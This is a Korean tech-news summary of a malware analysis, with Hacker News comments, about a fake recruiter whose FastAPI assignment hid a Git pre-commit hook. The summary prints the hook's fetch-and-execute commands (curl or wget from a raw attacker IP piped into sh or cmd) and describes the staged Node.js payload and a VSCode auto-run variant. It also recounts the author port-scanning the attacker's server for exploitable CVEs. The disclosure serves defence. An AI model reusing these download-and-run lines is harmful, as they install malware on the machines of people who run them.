1P by GN⁺ | ★ favorite | 댓글 1개
  • LinkedIn에서 월 $10,000~15,000의 원격 Python 개발자 자리를 제안한 가짜 채용 담당자가 정상적인 FastAPI 과제로 위장한 ZIP 파일을 보내고, Git 작업 과정에서 악성코드가 설치되도록 구성함
  • 저장소의 .git/hooks에는 운영체제별 원격 페이로드를 조용히 실행하는 pre-commit 훅이 숨겨져 있었고, 과제 PDF의 Git 작업은 지원자가 이를 실행하도록 유도하는 장치였음
  • Linux 페이로드는 ~/Documents에 2단계 스크립트를 내려받아 nohup으로 실행한 뒤, Node.js와 의존성 및 난독화된 parser.js 를 설치해 백그라운드에서 구동함
  • 요청의 id=402 값을 바꾸면 다른 스크립트가 반환됐고, package.json에는 클립보드 접근용 clipboardy와 Ethereum 개발 환경 hardhat 등이 포함됐지만 최종 목적은 확인되지 않음
  • 공격자는 공개 FastAPI 저장소에 악성 디렉터리만 덧붙였으며, 다른 변종은 VSCode에서 폴더를 여는 것만으로 명령을 실행함. 외부 프로젝트를 다루기 전 숨김 디렉터리와 자동 실행 설정을 확인해야 함

지나치게 좋은 채용 제안

  • LinkedIn으로 도착한 Python 개발자 채용 제안은 월 $10,000~15,000를 지급하는 원격 우선 계약직 후 정규직 전환 형태였음
  • 면담도 하기 전에 높은 보수를 공개했고, 인도 기준으로 큰 금액이라는 점이 첫 번째 경고 신호가 됨
  • 채용에 사용된 회사는 Y Combinator 스타트업으로 확인됐지만, 그 정도 예산을 쓰는 회사라면 일반적으로 더 체계적인 채용 절차를 갖췄을 것이라는 의심이 남았음
  • 이력서를 보내자 곧바로 승인됐고, Google Drive를 통해 ZIP 아카이브와 과제 지침 PDF를 받음
  • PDF는 기존 코드베이스 개선과 아키텍처 제안, Git 작업 등을 요구해 겉보기에는 정상적인 평가 문서에 가까웠음

FastAPI 프로젝트에 숨겨진 Git 훅

  • 압축 파일에는 SQLAlchemy를 사용하는 평범한 FastAPI 백엔드가 들어 있었고, requirements.txt에서도 타이포스쿼팅이나 명백한 악성 패키지가 발견되지 않음
  • 숨김 항목을 확인하려고 tree -a를 실행하자 .git/hooks 아래에 여러 Git 훅이 미리 구성돼 있었음
  • pre-commit 스크립트는 uname -s로 운영체제를 판별한 뒤 같은 서버에서 플랫폼별 페이로드를 내려받아 실행함
    • macOS에서는 curl .../task/mac?id=402 | sh를 실행함
    • Linux에서는 wget .../task/linux?id=402 | sh를 실행함
    • Windows 계열에서는 curl .../task/windows?id=402 | cmd를 실행함
  • 출력은 모두 /dev/null로 보내고 프로세스를 백그라운드로 돌려 실행 흔적을 사용자에게 감춤
  • 도메인 대신 45.61.164.38:5777이라는 원시 IP 주소를 직접 사용해 악성 동작이 더 눈에 띄었음

Linux의 다단계 페이로드

  • 첫 번째 Linux 스크립트는 ~/Documentstokenlinux.npl을 내려받고 tokenlinux.sh로 이름을 바꾼 뒤 실행 권한을 부여함
  • 이어 nohup bash로 스크립트를 백그라운드에서 실행해 터미널 종료나 로그아웃 후에도 프로세스가 계속 동작하도록 만듦
  • 2단계 스크립트는 다음 작업을 조용히 수행함
    • Node.js 설치 및 시스템 경로 구성
    • parser.jspackage.json 다운로드
    • 필요한 npm 의존성 설치
    • parser.jsnohup node로 실행하고 로그를 parser.log에 기록
  • parser.js는 수동으로 분석하기 어려울 정도로 심하게 난독화돼 있었으며, 원본 파일은 parser.js에 보존됨

피해자별 식별 가능성

  • 엔드포인트에는 id=402 매개변수가 반복해서 전달됐고, 이 값을 바꾸자 완전히 다른 스크립트가 반환됨
  • 공격자가 지원자마다 고유 식별자를 할당해 맞춤형 페이로드를 제공했을 가능성이 있지만, 실제 추적 방식은 확인되지 않음
  • 난독화 해제를 위해 여러 LLM에 코드를 입력했으나 결과가 엇갈림
    • Claude는 안전 제한이 작동해 분석을 거부함
    • Gemini는 스크립트 분석 결과를 제공함
  • tokenlinux.npl이라는 원래 확장자를 검색한 결과, 더 넓게 전개된 공격 캠페인과 관련됐음을 확인함

의심스러운 Node.js 의존성

  • package.json의 프로젝트 이름은 tokendapp이었고 hardhat, axios, basic-ftp, clipboardy, jsonwebtoken, ps-node, request 등을 포함함
  • 백그라운드 설정 작업에 클립보드 접근clipboardy와 파일 시스템 관련 패키지가 왜 필요한지는 불분명했음
  • hardhat은 Ethereum 개발 환경이지만, Ethereum이 작업증명 방식에서 전환했기 때문에 일반적인 채굴 구성이라고 단정하기 어려움
  • 암호화폐 지갑을 찾거나 로컬 브라우저 확장 프로그램과 상호작용하려는 가능성도 검토했지만, 최종 악성 목적은 확인되지 않음

VSCode를 이용한 다른 변종

  • 같은 공격의 다른 변종은 ZIP 파일 안에 .vscode 폴더를 숨기고, 해당 디렉터리를 VSCode로 열 때 명령이 실행되도록 구성함
  • 이 방식은 Git 명령이나 프로젝트 코드를 직접 실행하지 않아도 폴더를 여는 것만으로 감염될 수 있음
  • 특정 회사가 공격에 직접 관여한 것이 아니라, 공격자가 발견한 회사 이름을 빌려 채용 제안을 합법적으로 보이게 만든 것으로 확인됨

공개 저장소를 재사용한 위장

  • git log에는 공격자가 만든 프로젝트가 아니라 기존 개발자들의 커밋 이력이 그대로 남아 있었음
  • 원본은 공개 저장소인 personal-finance-service였음
  • 공격자는 정상적인 FastAPI 프로젝트를 복제한 뒤 악성 숨김 디렉터리만 덧붙여 과제용 코드베이스로 위장함
  • 정상 코드와 깨끗한 requirements.txt만 검토하면 악성 동작을 놓칠 수 있는 구조였음

공격 서버 조사와 한계

  • 공격 서버를 Nmap으로 스캔한 결과 열린 포트는 3개였고, 그중 2개는 버전 탐지에 응답하지 않음
  • 22번 포트에서는 Ubuntu의 OpenSSH 9.6p1이 실행 중이었음
  • 스캔 당시 해당 버전은 출시된 지 일주일 남짓이어서 활용 가능한 알려진 CVE를 찾지 못했고, 서버 내부로 조사를 확장하기 어려웠음
  • 악성코드 배포 방식은 눈에 띄었지만 서버 운영 보안은 비교적 잘 유지돼 있었고, 이 지점에서 추적이 중단됨

Git 과제가 맡은 역할

  • 과제 PDF의 Git 작업은 지원자가 최소 한 번 Git 명령을 수행하도록 유도해 사전 설치된 훅을 발동시키는 장치였음
  • 가짜 채용 담당자는 공격이 발각됐다는 연락을 받은 직후 LinkedIn 계정을 삭제한 것으로 보임
  • 낯선 프로젝트를 실행하거나 Git 명령을 수행하기 전에 tree -a 같은 도구로 .git, .vscode숨김 디렉터리와 자동 실행 설정을 확인해야 함

댓글과 토론

Hacker News 의견들
  • 이 글을 읽고 나서야 훨씬 정교한 방식으로 해킹당했다는 걸 깨달았음
    몇 주 전 실제 회사의 CTO와 면접했는데, 카메라를 꺼둔 데다 억양도 강했지만 면접 내용은 자연스러웠고 기술도 잘 아는 사람이었음. 기술 면접에서는 회사의 오픈소스 프로젝트를 수정해야 한다며 저장소를 복제하고 개발 환경을 확인해 달라고 했음
    이후 인사 담당자가 CTO의 병으로 면접이 연기됐다고 했고, 며칠 뒤 그 담당자의 LinkedIn 프로필도 삭제됨. 이 글을 본 뒤 확인해 보니 면접 중 복제해 실행했던 저장소에 악성코드 페이로드가 들어 있었음
    과거 주간 다운로드 4,300만 회 이상인 NPM 패키지를 관리했기 때문에 표적이 된 듯함. 모든 계정에 2단계 인증을 적용하고 NPM 패키지도 토큰 없이 수동 배포해 왔지만, 노트북은 초기화하고 전부 재설치해야 함

    • 일정을 확인해 보니 Calendly로 잡힌 45분 면접이었고, 인사 담당자가 보낸 링크를 통해 CTO를 사칭한 사람과 실제로 45분간 대화했음
      비슷한 HN 글들을 찾아봤지만 사기범과 Google Meet 통화까지 했다는 내용은 찾지 못했음
    • 무작위 프로젝트를 그대로 복제하는 요청은 거절함. Rails 개발자라 전체 애플리케이션의 뼈대를 몇 분이면 만들 수 있으니, 요구사항만 주면 처음부터 끝까지 직접 구현하겠다고 함
      진지한 회사라면 이를 고려할 것이고 거절한다면 위험을 피한 셈임. 이제 코드 생성에 LLM을 폭넓게 쓰는 만큼 어떤 기술 스택에서도 가능해야 한다고 봄
    • 이런 환경에서는 컨테이너로 격리한 VS Code가 필요해 보임
    • 표적 공격을 받을 만한 사람과 같은 소셜 미디어를 쓴다는 사실이 묘함. 평범한 자신에게 오는 건 “무료 스핀”이나 “죽어가는 독일 억만장자” 같은 사기뿐이며, 가장 인상적인 이메일 제목은 “네 질을 망가뜨려서 미안해”였음
  • 최근 개발자를 겨냥한 북한발 공격이 늘어난 듯함. 수년째 이어진 이런 수법 외에도 “프로필을 봤는데 협업하지 않겠느냐”는 북한 해커의 이메일을 주 1회 정도 받음
    프로그래밍 Discord 커뮤니티에서도 가입 후 며칠 안에 일자리나 협업을 요청하는 계정이 많음. 실제 구직자일 수도 있지만 메시지의 양과 유사성이 수상하며, 활동이 거의 없는 비주류 Python 라이브러리 커뮤니티까지 찾아오는 걸 보면 Discord 커뮤니티 목록을 긁어 무차별 접근하는 듯함
    서로의 신뢰를 악용하는 공격이 많아졌으니 부모님 말씀처럼 인터넷의 낯선 사람을 믿지 않는 것이 필요함

    • 이제는 LLM으로 자연스러운 기본 대화를 만들어 과거처럼 봇으로 즉시 걸러내기도 어려워짐
  • 피해자의 운영체제를 확인한 뒤 원격 페이로드를 몰래 실행하는 수법이 반복되고 있으며, 지난달에도 비슷한 글이 첫 화면에 올라왔음
    https://news.ycombinator.com/item?id=48546294

    • 원문도 이를 직접 밝히며 같은 내용을 보여주는 Google 검색 결과를 연결해 둠
  • 원시 IP 주소는 악성코드라는 인상을 강하게 주지만, 훅 내용을 확인할 정도로 깊게 살펴본 피해자라면 거기서 의심을 멈추지도 않을 것임. 대부분의 개발자는 git commit이 악성 동작을 실행할 수 있다고 생각하지 않을 텐데, Git의 보안상 허점인지 궁금함

    • 저장소를 단순히 복제하면 Git 훅이 자동으로 활성화되지는 않음. 하지만 이번에는 복제가 아니라 다운로드한 프로젝트라 사정이 다름
    • 어떤 도구를 쓰든 검토하지 않은 다운로드 코드를 실행하는 것 자체가 현재는 위험함
  • 각종 안전장치 때문에 Claude가 조력자로서 전혀 쓸모없었다는 점만 남았음

  • 원시 IP를 쓴 건 도메인 등록기관에 신원 정보를 남기지 않거나 온라인 흔적을 최소화하려는 목적일 수 있음

    • 그래서 원시 IP 주소가 수상한 활동과 자주 연관되는 듯함
    • 해당 호스트들 역시 악성코드에 감염돼 현재 프록시로 악용되는 시스템일 가능성도 있음
  • 스크린샷 대부분이 바로 열리지 않아 새 탭에서 봐야 했음
    이 사기는 상당히 교묘해서 이미 많은 구직자가 당했을 듯하며, 글에 나온 Visual Studio Code 프로젝트는 더 위험해 보임. 프로젝트를 여는 것만으로 사용자 코드가 실행된다면 명백한 악성코드 경로이므로 보안 완화책이 필요함
    채용 사이트의 대응도 부족함. 회사나 기관 소속임을 주장하려면 재직 증명을 요구하고, 검증되지 않은 계정의 메시지에는 큰 경고를 표시하기만 해도 많은 사기가 어려워질 것임. 현재는 누구나 임의의 회사 경력이나 학력을 주장할 수 있음

    • Microsoft가 문서를 열 때 자동 실행되던 Word·Excel 매크로 악성코드의 역사를 잊은 듯함
    • 이미지가 모두 GitHub Pages에 호스팅돼 있어 별도의 CDN을 써야 할 듯함
  • Hacker News 첫 화면에 실제 해킹 관련 글이 올라오니 반가움

    • Hacker News에서 말하는 해커는 다른 의미임
      http://www.catb.org/jargon/html/H/hacker.html
      프로그래밍 가능한 시스템의 세부 구조와 한계를 탐구하고, 특히 컴퓨터와 네트워크의 내부 동작을 깊이 이해하는 데 즐거움을 느끼는 사람을 뜻함. 또한 이론에만 머무르지 않고 열정적으로, 때로는 집요하게 프로그래밍하는 사람을 의미함
  • LinkedIn이 사기 방지에 진지하다면 현재 직장을 기재할 때 회사 이메일 인증을 제공할 수 있음. 의무화가 부담스럽다면 최소한 합법성을 인정받으려는 채용 담당자가 선택적으로 인증하도록 만들 수 있음

    • LinkedIn은 2023년에 이미 이 기능을 추가했음(https://news.linkedin.com/2023/april/linkedin-s-new-verifica...). 다만 이메일 인증을 실제로 하는 사람이 적어 인증이 없다고 반드시 가짜는 아님
    • 나와 친구들은 몇 년간 가짜 프로필로 채용 담당자와 회사를 유인해 어떤 직무가 열려 있고 어떤 후보자를 찾는지 파악했음. JavaScript 프레임워크가 급증했을 때 정상적인 회사·채용 담당자와 사기꾼을 구별하는 데 특히 유용했음
      지금도 AI 채용 시장과 LLM·자동화에 대한 수요를 노리고 비슷한 일이 벌어질 듯함
  • 이런 공격은 갈수록 흔해질 듯함. 공격자들이 철저히 조사했고 수법도 악랄하지만 기술적 완성도는 인정할 만하며, 실제 성공률도 꽤 높을 것으로 봄

    • 내부를 살펴보는 과정이 CTF 문제처럼 재미있었음. 공격자 서버에 취약점까지 있었다면 더 흥미로웠을 것임
    • 그들의 기술은 단지 LLM에서 빌려온 것일 수도 있음